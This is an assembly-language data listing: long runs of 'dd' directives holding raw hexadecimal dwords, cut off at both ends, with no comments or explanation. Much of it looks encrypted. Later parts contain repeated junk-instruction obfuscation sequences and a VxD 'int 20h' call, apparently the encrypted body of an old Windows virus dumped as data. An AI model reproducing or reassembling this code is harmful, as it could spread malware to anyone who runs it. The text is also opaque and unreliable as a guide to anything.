0F20562A7h, 31BBEBC4h, 63ABEDA4h, 0BC97F6D0h dd 0E924A3A6h, 0CA47200Dh, 3FAC895Eh, 5B03256Ah, 0AE2123C6h dd 50162E2Fh, 2EA8B2DEh, 0D303137Ah, 11BA9949h, 4628A3E9h dd 3372200Dh, 7F214BAAh, 0AE25CE29h, 1FF9262Fh, 7BAADA9Eh dd 5A2E757Fh, 0EA21262Dh, 0FE7E5999h, 0EB25026Bh, 9AAA404Fh dd 0AEAA7C4Eh, 0DED1AD49h, 4325026Bh, 0D5212623h, 7C1DF377h dd 7B02AF3Bh, 0BB4AB8D1h, 0C59F407Eh, 0F67E7C7Ah, 0BF712645h dd 0AB21262Ch, 8DE27E0Fh, 0EE0562A6h, 710562AEh, 0BA212636h dd 0C2E2766Fh, 1315BB29h, 0B9E40B8h, 0E294D9D9h, 0BF270409h dd 0E9C9752Fh, 5521262Fh, 337AE574h, 0DC250273h, 0B425026Bh dd 1421262Fh, 0E949E57Ch, 97314C8Eh, 7AC2596h, 7C270433h dd 982087BAh, 0E3A4AB29h, 25270352h, 75320B9Ah, 0C1F1D929h dd 0D6C9772Fh, 0CA21262Fh, 0FC78E576h, 3B250263h, 4725026Bh dd 0EF21262Fh, 6537E57Eh, 1FDBBCDAh, 0F19E409Ch, 9FA4AFC1h dd 1F27041Fh, 0B9C9762Fh, 7D21262Fh, 2779E577h, 0D625026Bh dd 0B725026Bh, 9521262Fh, 0EE27E57Fh, 54A55C5Ch, 33B05325h dd 7F11A39Ah, 0A7A4E029h, 427041Ch, 83D4932Eh, 0D1C9200Dh dd 5921262Fh, 13F93EEBh, 0EAB87C91h, 479A9E4Fh, 2540284Ch dd 0DC25026Bh, 0AB28CF2Fh, 0D812262Fh, 439DDBA7h, 0FCD55680h dd 0B525026Bh, 5D2126A3h, 262E7E2Fh, 57212629h, 8BDCB32Eh dd 60DE200Dh, 0EC030066h, 9D722645h, 0BA21262Ch, 6E27D0Fh dd 0AA057AA6h, 530562AEh, 0AB212636h, 37E2756Ch, 8E6CDA47h dd 131597B0h, 376CA190h, 785C98AAh, 0FE214C29h, 572125C7h dd 6879062Fh, 0F165AF77h, 0CE65A72Bh, 75213C2Bh, 7971662Fh dd 334D7DAAh, 515C495Bh, 0AE9E29FFh, 0B6ECA3A6h, 5C70200Dh dd 0C83E3792h, 0F0E77929h, 0BC031526h, 24ACAF68h, 17270434h dd 6FA7AB6h, 0AB2122C7h, 0BFC8F2Fh, 0EA2DCE98h, 0E1CD262Fh dd 0A218AEC6h, 0ACEF80B3h, 0A173A3B2h, 572126A0h, 0FB7B792Fh dd 0D5212CC7h, 0B1D0C22Fh, 7F81CC17h, 0DC2FD3A1h, 49F8090h dd 0AA0562A4h, 5DC8717Eh, 4521262Fh, 21498CAEh, 82186EFh dd 0FE7E78A4h, 33CEAC2Fh, 525026Bh, 0E9F69C49h, 716893D0h dd 0AB4B200Dh, 0D522CE78h, 0B501262Fh, 9A879ECh, 0FEA0220Bh dd 5D35220Bh, 0F966262Fh, 0DAAAD9ECh, 0AD0301DAh, 0A89FA3A2h dd 0EA4B200Ah, 7522CE7Ah, 0E701262Fh, 31A87BECh, 0EAA0220Bh dd 5734220Bh, 0FE64262Fh, 6C239BECh, 0B0282CDEh, 13F19920h dd 6ADEDFA4h, 0EEE0A749h, 0FFA4AF9Dh, 3D270421h, 0A8C9702Fh dd 0F521262Fh, 637FE571h, 0F425025Bh, 0AF25026Bh, 1B21262Fh dd 73E579h, 6428A3E9h, 0C166200Dh, 0D6C9702Fh, 0CA21262Fh dd 0FC7FE571h, 3B25025Bh, 4025026Bh, 0E821262Fh, 1878E579h dd 875E1A8h, 82CE91F6h, 0EA2122C7h, 0A9315C2Fh, 0E87176AEh dd 5D27A420h, 0FC71262Fh, 0F7B1720h, 879F1720h, 8F4B8126h dd 0CE65AD77h, 0FC21AD2Bh, 0B525026Bh, 5D212DA4h, 0ABAA292Fh dd 0EE21262Fh, 0D4945EFAh, 86214C77h, 0EA2125C7h, 0B67A062Fh dd 9E7DAF74h, 7965A72Bh, 0AE213A2Bh, 9472652Fh, 3D259D1Dh dd 4F90DA23h, 639427D1h, 8A27042Fh, 98076F9Ah, 48ACAF29h dd 2327040Fh, 725C98AAh, 0FD214C29h, 0D52125C7h, 297F062Fh dd 5155AF71h, 9E65A72Bh, 5D213A2Bh, 6D77602Fh, 0FBF39BFEh dd 7E8B8AD1h, 0DDAE2939h, 0E521262Fh, 752124A2h, 457F932Fh dd 0A214CFFh, 0AE2125C7h, 947E062Fh, 8F5DAF70h, 0F165A72Bh dd 0EA213B2Bh, 0B676612Fh, 0ABA844E8h, 8EEC3C50h, 66AAD819h dd 5040A3A6h, 7DA0200Dh, 98343DD3h, 0D928A3E9h, 1F66200Dh dd 0B9C9772Fh, 7D21262Fh, 2778E576h, 0D6250263h, 0B725026Bh dd 9421262Fh, 9DC7E57Eh, 68A06D25h, 3388A62Bh, 7F27BBAAh dd 0AE25CE29h, 6B7C262Fh, 0AEC88CE2h, 7621262Fh, 6E6AF9EAh dd 752CCF7Fh, 3AB6262Fh, 2F88EF6Dh, 0A970E06Ah, 0DCAB46D4h dd 1225026Bh, 0CCCC1D5Dh, 544726A4h, 31A88E3Eh, 0DC79220Bh dd 93C8F4AEh, 9FB4AF4Fh, 0BF27043Ah, 0AB212624h, 25481816h dd 3B7BDBFh, 9D74C1C5h, 0BA212622h, 0AE4C7763h, 6AEC636Ch dd 821EE7AAh, 0CA7A7CE6h, 0F36893D0h, 0E3C9200Dh, 0A621262Fh dd 22DB50A0h, 0BC3528F6h, 23179F49h, 0EAB4AD71h, 2627043Bh dd 0F05C98AAh, 6FB4AD29h dd 8A270429h, 719E29FFh, 6C30A3A6h, 0AE4B200Dh, 5722CE7Ch dd 0F001262Fh, 89A87DECh, 0AEA0220Bh, 7538220Bh, 0E962262Fh dd 0FF3827ECh, 27D06B2Ch, 75041BBAh, 0AB30CE29h, 0BFF8262Fh dd 0C3BF2AD7h, 433563D7h, 9CCBA816h, 0D4DF8D21h, 8C22139Ah dd 0D2A87829h, 0AD032926h, 50A8F6D0h, 0EC032C4Ah, 54FBE7AEh dd 0F2839A2h, 5B03249Ah, 0C8F9AA49h, 0D3AC0AEh, 6B2B220Bh dd 0D7CCA220h, 0EA4B262Fh, 7522CE79h, 0E401262Fh, 29A878ECh dd 0EAA0220Bh, 5736220Bh, 0FD67262Fh, 0DE1CECECh, 0E3A4E06Ah dd 3A27041Ch, 0EED3A749h, 5D33CF45h, 82FD262Fh, 9F1B823Eh dd 0FD0ABAE4h, 8A1F91FDh, 0E17ABCD3h, 2888E047h, 0B7A029DDh dd 3D21262Fh, 9F2E747Fh, 0FD9F7E75h, 0CA340C10h, 0D70512AEh dd 0E56CFBEAh, 752120A0h, 0B7AC2F2Fh, 0A2270439h, 8C076F9Ah dd 4214C29h, 0AB2125C7h, 167A062Fh, 0CE7DAF74h, 5165A72Bh dd 0BA21322Bh, 9E72652Fh, 0AE2ACF62h, 0F251262Fh, 0C80CB69Dh dd 0F4BFB244h, 2CD7A7B3h, 0F806BFE4h, 9F5C98AAh, 0C214C29h dd 0AE2125C7h, 9478062Fh, 8F6DAF76h, 0F165A72Bh, 0EA213B2Bh dd 0B670672Fh, 39771B2h, 82833B10h, 2F2E6421h, 57212629h dd 0AC9CABA4h, 5DE200Dh, 2712645h, 7521262Ch, 0E2E27E0Fh dd 590562A6h, 0AA0562AEh, 5721263Bh, 0F1E2766Fh, 0D188B3A4h dd 6141200Dh, 70AB29EEh, 0DC21262Fh, 6B4CC5AEh, 8AE1A54Eh dd 0FF1A9F49h, 0B5B0A3A6h, 0D54B200Dh, 0EA22CE7Ah, 2801262Fh dd 0D6A87BECh, 19A0220Bh, 0AE37220Bh, 264262Fh, 6C4C1BECh dd 0A17F9949h, 0E044A3A4h, 754B200Dh, 0BA22CE7Ah, 1262Fh dd 0C2A87BECh, 13A0220Bh, 0AB3A220Bh, 8064262Fh, 778AA5ECh dd 81726CE8h, 2B94AFA2h, 0DC270420h, 8FBF52FDh, 46BCAD3Fh dd 1427041Eh, 0E0CD6D42h, 5FAC0F6Ch, 0FE27041Ch, 0ABA32934h dd 0B521262Fh, 0AE212625h, 69A4BD9Ah, 0F4468D32h, 8BD95840h dd 0E0C83DA4h, 5221262Fh, 0E69204Fh, 5CD5DE6h, 0C43AAD1Fh dd 54C9752Fh, 8B21262Fh, 5C7AE574h, 6B250273h, 6825026Bh dd 0F921262Fh, 0AAB3E57Ch, 9D208D48h, 0B262F5A7h, 7312F0A4h dd 0DD84BBA6h, 0EA4B200Dh, 7522CE7Eh, 0E301262Fh, 11A87FECh dd 0EAA0220Bh, 5739220Bh, 0FA60262Fh, 0A5D75ECh, 6B47DF57h dd 0B388D2C9h, 98122FAAh, 0B4726129h, 0AE212621h, 0E1E5CECEh dd 1A345797h, 0E3F5ACFEh, 827E76D6h, 4C073532h, 0EBD6AC4Fh dd 3C7E474Fh, 220522AEh, 0BE5F9EE5h, 0AB212629h, 5D3A1EFDh dd 5FDEF404h, 73030066h, 0B49C9BA4h, 0D8AC200Dh, 0A8045B91h dd 0BF742645h, 0AB21262Ch, 88E27B0Fh, 0EE054AA6h, 710562AEh dd 0BA21263Bh, 0C7E2736Ah, 0AE2120C6h, 0A4E8BA2Fh, 5420AA50h dd 0FC94AFFFh, 63270439h, 572F77AAh, 979C1729h, 1D27042Ch dd 258FF0AFh, 0DCF0AC2Fh, 0AFA2292Fh, 0B321262Fh, 63B1E191h dd 5723E7AAh, 43ACAF29h, 0B4270435h, 0AE2127A7h, 0BF762645h dd 0AB21262Ch, 8AE2790Fh, 0EE055AA6h, 710562AEh, 0BA212635h dd 16E27168h, 1C72AE9Ch, 0CAA8FE71h, 0AD031466h, 0D52128C6h dd 98AE292Fh, 0DF4D3114h, 0AC0B7A3Ah, 0D09A14FBh, 8BEA23AAh dd 0EDB1DF29h, 84656067h, 6B47767Fh, 7A7F00FAh, 9D712645h dd 0BA21262Ch, 5E27E0Fh, 0AA0562A6h, 530562AEh, 0AB21263Bh dd 56E2766Fh, 0D46FD1AEh, 7D980E05h, 4558D652h, 7F3947BAh dd 0F8214C29h, 572125C7h, 687F062Fh, 0F155AF71h, 0CE65A72Bh dd 75213A2Bh, 7977602Fh, 383F6825h, 0E88D7C18h, 0CAACD3D4h dd 0AD04ED24h, 0DB80B3A4h, 67A8200Dh, 730327B2h, 69AA40BCh dd 0B473767Fh, 0AE212625h, 0F9BD4632h, 397988ACh, 0E42E9DFDh dd 0BFD89D4Fh, 0FA2E7B46h, 0BA21262Fh, 0CE797C4Eh, 46722645h dd 5721262Ch, 0F0E27D0Fh, 0D1057AA6h, 0EE0562AEh, 75212639h dd 56E2756Ch, 0ACAACA8Eh, 1873767Fh, 410297Dh, 22797C71h dd 0D54B022Bh, 0EA22CE7Ch, 2E01262Fh, 0E6A87DECh, 19A0220Bh dd 0AE3D220Bh, 462262Fh, 889F54ECh, 888BA27Ah, 67AA3D77h dd 730307CAh, 0B92CB3D0h, 5D4B200Dh, 0AE22CE7Fh, 0F01262Fh dd 0EFA87EECh, 91A0220Bh, 0EA38220Bh, 2561262Fh, 50C5BEECh dd 3B8659BBh, 27D9DDA4h, 753FB7AAh, 0FA214C29h, 0D52125C7h dd 2978062Fh, 516DAF76h, 9E65A72Bh, 5D21332Bh, 6D70672Fh dd 0B6A02244h, 0B71EC69Fh, 0E628A3E9h, 8072200Dh, 76C9712Fh dd 9A21262Fh, 0D47EE570h, 2F250253h, 4025026Bh, 0EC21262Fh dd 168DE578h, 5F08AC12h, 7303237Ah, 19B77747h, 329E40C4h dd 8A15A70Ah, 16053401h, 43772645h, 0D521262Ch, 0B4E2780Fh dd 710552A6h, 0BE0562AEh, 5D212635h, 43E27069h, 102051ACh dd 8841131Fh, 0F725D79Ah, 0DBACAD29h, 1427041Dh, 9C6893D0h dd 5D4B200Dh, 0AE22CE7Ch, 0C01262Fh, 0F7A87DECh, 91A0220Bh dd 0EA3B220Bh, 2662262Fh, 4ED30FECh, 5265270Dh, 0AF40BB2Eh dd 0D2AC200Dh, 0AD045B91h, 3D702645h, 0EA21262Ch, 2CE27F0Fh dd 0BE056AA6h, 590562AEh, 0AE212639h, 99E2776Eh, 54DD0460h dd 7A040FFh, 6FA87AC4h, 730324AAh, 52712645h, 5D21262Ch dd 0F6E27E0Fh, 530562A6h, 0AF0562AEh, 0D5212635h, 7E2766Fh dd 0F77CE24Ah, 3D2EF484h, 5D21262Fh, 9D28A3E9h, 0A266200Dh dd 0B7E0647h, 879B74DEh, 0B45F18A3h, 0C50512AEh, 3A71F465h dd 0E8DEFAE1h, 0A8030066h, 0BF762645h, 0AB21262Ch, 8AE2790Fh dd 0EE055AA6h, 710562AEh, 0BA21263Ah, 8FE27168h, 0A6C84609h dd 2B21262Fh, 72913FA0h, 5E2EFA59h, 0C80D2FBAh, 0F0AC4729h dd 0BC045B91h, 0B5742645h, 0AE21262Ch, 0AE27B0Fh, 0AF054AA6h dd 0D10562AEh, 0EA212639h, 68E2736Ah, 0B2C82E26h, 0F021262Fh dd 0A19C7A79h, 31447FACh, 0ED17F7AEh, 0D54BF6D0h, 0EA22CE7Dh dd 2F01262Fh, 0EEA87CECh, 19A0220Bh, 0AE3B220Bh, 563262Fh dd 0A1022ECh, 6DCF4C50h, 6FA8D5A5h, 7303036Eh, 0BA2BAF20h dd 3D41262Fh, 0FF94AF4Eh, 3627041Ch, 9828A3E9h, 0BF72200Dh dd 0E9C9742Fh, 5521262Fh, 337BE575h, 0DC25027Bh, 0BA25026Bh dd 1521262Fh, 42C0E57Dh, 0D521263Eh, 0F76A6053h, 34066A79h dd 9AF8F497h, 0CABE163Eh, 0A8F14E9Eh, 63A0E2DAh, 6778660Bh dd 7EF3A772h, 157D7576h, 57076F9Ah, 0BA26CF29h, 4B6F262Fh dd 468B27BFh, 0E9A4ABE8h, 0C1270352h, 0D6C9752Fh, 0CA21262Fh dd 0FC7AE574h, 3B250273h, 4825026Bh, 0ED21262Fh, 0B4FBE57Ch dd 4EA1F6D0h, 0A0A4AF09h, 6327041Eh, 570143AAh, 459E2929h dd 6E28A3E9h, 0C476200Dh, 54C9732Fh, 8B21262Fh, 5C7CE572h dd 6B250243h, 6825026Bh, 0FF21262Fh, 0EC04E57Ah, 28BF95EEh dd 9D91F2B3h, 142EECA4h, 83344EE7h, 534769DCh, 71A050BAh dd 0AADAD70Bh, 1094AF6Fh, 51270432h, 75076F9Ah, 0FA214C29h dd 0D52125C7h, 2978062Fh, 516DAF76h, 9E65A72Bh, 5D213E2Bh dd 6D70672Fh, 2B1DBD69h, 82A4AFB9h, 5827043Eh, 0CF5C98AAh dd 44AC2529h, 45270432h, 0D214CFFh, 0AE2125C7h, 9479062Fh dd 8F65AF77h, 0F165A72Bh, 0EA21312Bh, 0B671662Fh, 52CC8B57h dd 46C0AB1Eh, 2BA8200Dh, 51033A1Ah, 43742645h, 0D521262Ch dd 0B7E27B0Fh, 71054AA6h, 0BE0562AEh, 5D212634h, 4EE2736Ah dd 0AA2D502h, 6D69B598h, 0F7122FAAh, 642E6529h, 7521262Fh dd 1CAD5F47h, 0DCD9AD9Ch, 4D8E022Bh, 574B2EC6h, 0AB22CE79h dd 8B01262Fh, 9EA878ECh dd 31A0220Bh, 0BA3B220Bh, 0B67262Fh, 18FF6CECh, 0A62E5D0Dh dd 0AB2CCF4Fh, 8DB7262Fh, 0FA2B3C05h, 0DCD6B28Dh, 0ED581B6Fh dd 3C79AB9Ch, 886893D0h, 119E200Dh, 202D450Dh, 0F7213792h dd 54A4AB29h, 9C270352h, 0BA212621h, 99B4CD4Bh, 0F2472522h dd 0F331102h, 7BDE0D49h, 3D732645h, 0EA21262Ch, 2FE27C0Fh dd 0BE0572A6h, 590562AEh, 0AE212635h, 70E2746Dh, 5D05507Eh dd 582E4968h, 0EA212623h, 7527AD20h, 0FAA262Fh, 5B03034Ah dd 0B134A3A6h, 574B200Dh, 0AB22CE7Ah, 8801262Fh, 86A87BECh dd 31A0220Bh, 0BA3D220Bh, 864262Fh, 30B443ECh, 253999DFh dd 12473E71h, 50AC5F6Dh, 0EC04ECD4h, 0D05B9F49h, 5271F0A4h dd 5D212629h, 4AD9B4A1h, 0DE7BF465h, 0AB4B022Bh, 0D522CE7Ah dd 0B701262Fh, 19A87BECh, 0FEA0220Bh, 5D3D220Bh, 0FB64262Fh dd 0D38E9BECh, 559634EBh, 0C9E85AAh, 1530F1DAh, 573947BAh dd 0EFA4AF29h, 0D627040Ah, 77ACAFF7h, 0DA270431h, 8EEBC9AAh dd 6A9B4029h, 0F8C8B666h, 0D221262Fh, 4F22ECB6h, 6835944Eh dd 3919783Dh, 0DBF57EBFh, 0B9C976EBh, 8E21262Fh, 92C6717Bh dd 5B0189Eh, 9FCAB209h, 0FA26AB46h, 0AE35CF6Ch, 44C2262Fh dd 2C94EF29h, 0E48C1222h, 3461D2C7h, 0F3B81D03h, 2A7B17BAh dd 0B5762645h, 0AE21262Ch, 8E2790Fh, 0AF055AA6h, 0D10562AEh dd 0EA212636h, 5AE27168h, 61488DE0h, 1094ADCEh, 0FE27042Fh dd 0EE47747Fh, 9A2E2E46h, 52939849h, 0F6A87E75h, 20214C0Bh dd 0BA2125C7h, 9E7C062Fh, 8A4DAF72h, 7365A72Bh, 0AB21312Bh dd 1674632Fh, 0E3287ACDh, 45A4A3A6h, 0AAC9200Dh, 0DE21262Fh dd 801AEDCAh, 34BA8D1Eh, 74AC9716h, 0D4E31E2Ch, 0C8046F9Ah dd 0E0DE7F29h, 0BC032522h, 0B5742645h, 0AE21262Ch, 0AE27B0Fh dd 0AF054AA6h, 0D10562AEh, 0EA212634h, 0B6E2736Ah, 46623A8Bh dd 0D4B03FB1h, 8C01EFAAh, 5214C29h, 0AB2125C7h, 167B062Fh dd 0CE75AF75h, 5165A72Bh, 0BA213D2Bh, 9E73642Fh, 9E34B040h dd 0D3222DFCh, 40F8A749h, 4CA4E1C9h, 0E5270420h, 1F21262Fh dd 0B9C9702Fh, 7D21262Fh, 277FE571h, 0D625025Bh, 0BD25026Bh dd 9321262Fh, 0AD1DE579h, 97F4A6AAh, 9AE8B3D0h, 5D4B200Dh dd 0AE22CE79h, 901262Fh, 0DFA878ECh, 91A0220Bh, 0EA3B220Bh dd 2367262Fh, 46D72DECh, 63C2BA6Ch, 879CBBA6h, 0DEDD200Dh dd 892B87AAh, 14B4AD29h, 0E9270408h, 573FEFA2h, 0BFA4AD29h dd 0D027042Ch, 8BFF21B2h, 5662AF29h, 0A8649BA2h, 60AC200Dh dd 0EC04FBCEh, 75211596h, 5185D52Fh, 5D219E1Ch, 6E2A262Fh dd 4FE3255Bh, 8F65AD2Fh, 0D5C97523h, 0B121262Fh, 7536E5AEh dd 0E6A8262Fh, 19A8360Bh, 167A320Bh, 57BD8618h, 0EFAAC6D0h dd 35DE220Bh, 0EFAF29D6h, 1321262Fh, 0F230F9AEh, 0A214C4Eh dd 0AE2125C7h, 947E062Fh, 8F5DAF70h, 0F165A72Bh, 0EA213B2Bh dd 0B676612Fh, 55BC6524h, 0CF73EFD2h, 3BAA01BBh, 51030742h dd 61CE9BA2h, 58AC200Ah, 0EC04F847h, 538A1397h, 3BA415B7h dd 76270421h, 4FC8E7E0h, 2F1FE1ADh, 2FB9C971h, 707D2126h dd 53277EE5h, 6BD62502h, 2FB62502h, 0F305E983h, 60D98BA4h dd 1ED9BD89h, 0BE660622h, 0E961D15Ah, 51h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C35242h, 9B391D94h dd 0D0E70C9h, 15870F61h, 0E9000000h, 10h, 9B1A6583h, 0E741DC90h dd 0E3D2EAB2h, 50C8E9D4h, 0AE9C3F9h, 0B000000h, 0C885156Dh dd 0CD25471Ch, 6AC08B24h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 61EFC357h, 60F5B364h dd 666DEE80h, 0E6A8F081h, 0DDBD8361h, 62208h, 0BD830975h dd 6220A21h, 50197400h, 0B8C08B53h, 4B9h, 0E598589h, 9D8D0622h dd 624C030h, 585BD3FFh, 0A21BD83h, 74000622h, 0B8535017h dd 4B9h, 0E598589h, 9D8D0622h, 624BCD1h, 585BD3FFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E8C35343h, 6E9h dd 86183300h, 6A5F6FE6h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0F49C355h, 485h, 0CF8B6000h dd 6AC08B61h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 406EC352h, 9D89C18Bh, 62205A1h dd 4EBh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 163113C3h, 5437DFE1h, 9589F793h dd 622013Dh, 2CB5858Dh, 6A0622h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0FDF6EAC3h, 0EE8h, 2FE84200h dd 0C8A27C08h, 0C2D139C3h, 6651147Eh, 315EF28Bh, 22057DBDh dd 0FB8B5006h, 0F240489h, 6AFBB7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0EAC35545h, 49EE3D7Fh, 81CFF61Ch dd 1B7E61DFh, 8B006A34h, 221409BDh, 76858D06h, 8B0625E1h dd 220A91BDh, 5C08306h, 9E9h, 0F5838B00h, 1234FCE1h, 0BE662207h dd 5090F980h, 7846BF52h, 310F4063h, 0FB8B5250h, 11E9310Fh dd 0DC000000h, 0C0625C8Dh, 5194344Eh, 31AA7065h, 0B36461EFh dd 585A585Ah, 13E86050h, 5000000h, 50911EE2h, 5E9A11AAh dd 0B6E4D4B0h, 4E27B318h, 2DBE5371h, 595A78E2h, 2 dup(310F5250h) dd 585A585Ah, 6A9061h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0D55FEDC3h, 0BE66006Ah, 6A9E17h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 45C35242h dd 5595FF1Fh, 0F062235h, 68Bh, 59B58B00h, 8D062216h, 25A90F9Dh dd 49950906h, 89062225h, 2233E58Dh, 50D3FF06h, 0AA5B533h dd 0FF5F0622h, 2208B185h, 0EE816606h, 0FCE9D20Ch, 0E8000006h dd 0 dd 80ED815Dh, 810625E1h, 220F99BDh, 7D006h, 20860F00h dd 56000001h, 359D8B5Eh, 6A062206h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0FCC1C355h dd 44842F14h, 8BE60CE0h, 22221DB5h, 0E38106h, 89000001h dd 221C1D8Dh, 0FDB0B06h, 0A585h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0FBCF7F2Ch dd 33E65F68h, 223319B5h, 0D6BD8306h, 625DFh, 4A840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 4F0AE3C3h, 0BD8B2CAEh, 6220EFDh, 1F119D89h, 50E90622h dd 0F000000h, 138Bh, 0EE900h, 20CD0000h, 57E78C45h, 60295660h dd 0A84B9328h, 0DFD685C7h, 10625h, 73BF0000h, 0B0B9BEBh dd 220E9DBDh, 1DE906h, 8E0F0000h, 6, 16298D29h, 85C70622h dd 625DFD6h, 0 dd 0E1B58BF8h, 8D062231h, 2206359Dh, 71D78106h, 8111A242h dd 0C86FE9EFh, 0FF238119h, 60FFFFFEh, 185BB66h, 31158531h dd 66610622h, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0F5514C3h, 0BF0F29ABh, 0F98B66F3h dd 0F04C3F6h, 7784h, 13E800h, 57BE0000h, 0B9631B21h, 94F7B62h dd 1710C54Ah, 0AF51FEEBh, 12E8A8h, 4CEB0000h, 8BCA62Ah dd 5A1F5463h, 0D8560184h, 197F269Dh, 85DBD31h, 5E5F0622h dd 20C995FFh, 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0D3C473C3h, 66503B5Fh, 89383ABFh dd 6E82404h, 27000000h, 0FB3EBBBCh, 8DBD8B29h, 5E062225h dd 40FE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 899C3546h, 2207B9BDh, 6A00B006h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 4A30C352h, 66AB1356h, 0D504EF81h, 6A70E6h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0A28C0AC3h, 53A13DB8h, 0B58B71E4h, 62232A5h, 0BFD8B60Fh dd 68C5D41Ch, 6BAh, 0E8C38B00h, 7, 0F7BA5731h, 8B9BB1FFh dd 220629B5h, 0E8C15E06h, 0AE904h, 0ACF00000h, 1AF25F14h dd 0DCB239C2h, 17F58531h, 0F7660622h, 56006AE2h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0BF665017h, 0D82BA004h, 495B523h, 8B500622h, 241C89FBh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 36C35040h dd 1F339E96h, 0FC28DD63h, 0F99B5FFh, 6A0622h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 296676C3h dd 8144CB10h, 5B9C3DEh, 7595FF4Dh, 0E9062230h, 8, 83BA4B15h dd 37C2E05Ah, 8B6600B0h, 6A70E6F0h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 1E3FC353h dd 81B19E24h, 304AC2F7h, 0FE8B662Ch, 6A71E4h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 99BC4DC3h dd 0B58B2381h, 622298Dh, 830F613Ch, 268h, 311BD89h, 0B60F0622h dd 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 420FF65Ch, 81624F0Eh, 0FA8B2FD6h, 6BAh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0FB617C9Dh, 1A89DDCAh, 6AC38BB7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 1FFFC352h, 6F20175Fh, 64AE3769h, 9E9h, 8A410900h, 6CE185A4h dd 0E8C187CCh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0DDE61475h, 800F9B4Dh dd 0Eh, 9E9h, 0B596CF00h, 20AC9CBEh, 0F766322Ah, 52006AE2h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0F78B6697h, 0BF0FD82Bh, 0B52B58F9h, 6223115h, 1D2D9589h dd 0D82B0622h, 166880Fh, 0BD8B0000h, 6222D29h, 7B9h, 0BF25BF00h dd 0C1831F19h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 6E785ED2h, 860FD93Bh dd 12Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 9C35343h, 11C9DABDh, 0BB0FE53Fh, 6AD98C66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 896FC356h, 2210BDB5h, 4C1F606h, 0B1840Fh, 0BD0B0000h dd 6222099h, 20C995FFh, 6A5B0622h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 71C4C352h dd 42C22D49h, 7516AD03h, 1AA99589h, 0C32B0622h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0ADC35040h, 293CC4BEh dd 221B618Dh, 8E906h, 28C20000h, 441502E5h, 343D0E53h dd 0F000008h, 3A86h, 6830F00h, 89000000h, 22258DB5h, 52E906h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 531115C3h, 13EADD45h, 9D8529FFh, 8B062214h dd 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 0AFBF1DEAh, 0F73941B6h, 0F88BFEB4h, 0D88BC38Bh dd 86F06CBFh, 0A185C725h, 1D062214h, 95F338Fh, 22181595h dd 6AC08B06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 42ADC357h, 0F99BD81h, 7D00622h dd 850F0000h, 2Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 90C35747h, 5501F5A3h, 9985FFF5h, 6606220Fh dd 0B5FFF38Bh, 6220F99h, 3DB58B57h, 5E062210h, 307595FFh dd 6A0622h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 569F69C3h, 90BAD45Eh, 345678B8h, 53006A12h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 2EF02795h, 8DE31258h, 25E81C9Dh, 0F92DE906h, 6AFFFFh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0E61475C3h, 0BD9B4DDDh, 0F1958924h, 8B062204h, 53006AC1h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 1C22710Fh, 4EB7CA1h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9AC35747h dd 0B6350049h, 94B748CFh, 0B4C78166h, 51006A6Fh, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 